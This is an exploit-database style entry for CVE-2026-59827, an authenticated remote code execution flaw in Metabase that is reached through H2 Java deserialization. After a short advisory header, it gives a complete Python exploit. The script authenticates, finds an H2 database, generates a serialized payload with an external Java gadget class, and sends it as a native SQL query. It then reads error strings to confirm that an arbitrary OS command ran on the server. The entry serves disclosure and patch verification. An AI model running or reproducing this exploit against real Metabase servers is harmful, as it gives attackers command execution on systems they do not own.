Metabase 0.61.0 - Authenticated Remote Code Execution

# Exploit Title: Metabase 0.61.0  - Authenticated Remote Code Execution
# Date: 2026-08-12
# Exploit Author: Gutierre0x80
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://github.com/metabase/metabase
# Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4
# CVE: CVE-2026-59827
#
# Advisory:
# https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
#
# Description:
# Metabase instances with an H2 database connection, including the default
# sample database, deserialize arbitrary Java objects returned by native H2
# queries in result columns of type OTHER without validation. An authenticated
# user with permission to execute native queries against an accessible H2
# database can exploit this behavior to execute arbitrary operating-system
# commands on the Metabase server.
#
# Requirements:
# - Valid Metabase credentials
# - Permission to execute native database queries
# - Access to an H2 database connection, including the default sample database
#
# Download:
# git clone https://github.com/Gutierre0x80/CVE-2026-59827.git
# cd CVE-2026-59827
#
# Usage:
# python3 exploit.py <target_url> <username> <password> <command>
#
# Example:
# python3 exploit.py http://127.0.0.1:3000 [email protected] 'Password123!' 'id'
#
# Repository:
# https://github.com/Gutierre0x80/CVE-2026-59827


#!/usr/bin/env python3
"""
Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL
Affects: <= v0.61.1 (latest at time of disclosure)

Usage:
    python3 exploit.py <url> <user> <password> <command>

Example:
    python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id"

Required files (same directory as this script):
    clojure-1.12.3.jar
    VarChainPayload.class
"""
import os
import sys
import subprocess
import requests

HERE      = os.path.dirname(os.path.realpath(__file__))
CLJ_JAR   = os.path.join(HERE, "clojure-1.12.3.jar")
CLASSPATH = f":{CLJ_JAR}:{HERE}"


def die(msg):
    print(f"[-] {msg}", file=sys.stderr)
    sys.exit(1)


def check_deps():
    missing = []

    # Check local files
    for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]:
        if not os.path.isfile(p):
            missing.append(os.path.basename(p))
    if missing:
        die(f"Missing files in {HERE}: {missing}")

    # Check system binaries
    try:
        subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True)
    except (FileNotFoundError, subprocess.CalledProcessError):
        die("Java not found or not working. Install OpenJDK 11+ and add to PATH")

    try:
        import requests
    except ImportError:
        die("Python 'requests' library not found. Install with: pip install requests")



def get_token(session, url, user, password):
    r = session.post(f"{url}/api/session",
                     json={"username": user, "password": password}, timeout=15)
    r.raise_for_status()
    token = r.json().get("id")
    if not token:
        die(f"Authentication failed: {r.text[:200]}")
    return token


def get_h2_db_id(session, url, token):
    r = session.get(f"{url}/api/database",
                    headers={"X-Metabase-Session": token}, timeout=15)
    r.raise_for_status()
    data = r.json()
    dbs = data.get("data", data) if isinstance(data, dict) else data
    for db in dbs:
        if db.get("engine") == "h2":
            return db["id"], db["name"]
    die("No H2 database found in this Metabase instance.")


def generate_payload(command):
    result = subprocess.run(
        ["java",
         "--add-opens", "java.base/java.util=ALL-UNNAMED",
         "-cp", CLASSPATH,
         "VarChainPayload", command],
        capture_output=True, text=True, timeout=30
    )
    payload = result.stdout.strip()
    if not payload:
        die(f"Payload generation failed:\n{result.stderr}")
    return payload


def fire(session, url, token, db_id, payload_hex):
    sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
    r = session.post(
        f"{url}/api/dataset",
        headers={"X-Metabase-Session": token},
        json={"database": db_id, "native": {"query": sql}, "type": "native"},
        timeout=30
    )
    return r.json()


def main():
    if len(sys.argv) != 5:
        print(__doc__)
        sys.exit(1)

    _, url, user, password, command = sys.argv
    url = url.rstrip("/")

    check_deps()

    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    print(f"[*] Target   : {url}")
    print(f"[*] User     : {user}")
    print(f"[*] Command  : {command}")
    print()

    print("[*] Authenticating...")
    token = get_token(s, url, user, password)
    print(f"[+] Session  : {token}")

    print("[*] Locating H2 database...")
    db_id, db_name = get_h2_db_id(s, url, token)
    print(f"[+] Database : {db_name} (id={db_id})")

    print("[*] Generating payload...")
    payload = generate_payload(command)
    print(f"[+] Payload  : {len(payload) // 2} bytes")

    print("[*] Firing exploit...")
    result = fire(s, url, token, db_id, payload)

    error = str(result)
    ran_indicators = [
        "ClassCastException",      # normal: Process cast to Number
        "ProcessImpl",             # process object leaked in error
        "NonTransientConnection",  # H2 lock after exec triggered reconnect
        "JdbcSQLData",             # deserialization error after exec
    ]
    if any(ind in error for ind in ran_indicators):
        print("[+] RCE executed — H2 error after deserialization confirms command ran")
    else:
        print(f"[?] Unexpected response (command may not have run): {error[:300]}")

    print()
    print("[*] Done. If the command writes output to a file, retrieve it separately.")


if __name__ == "__main__":
    main()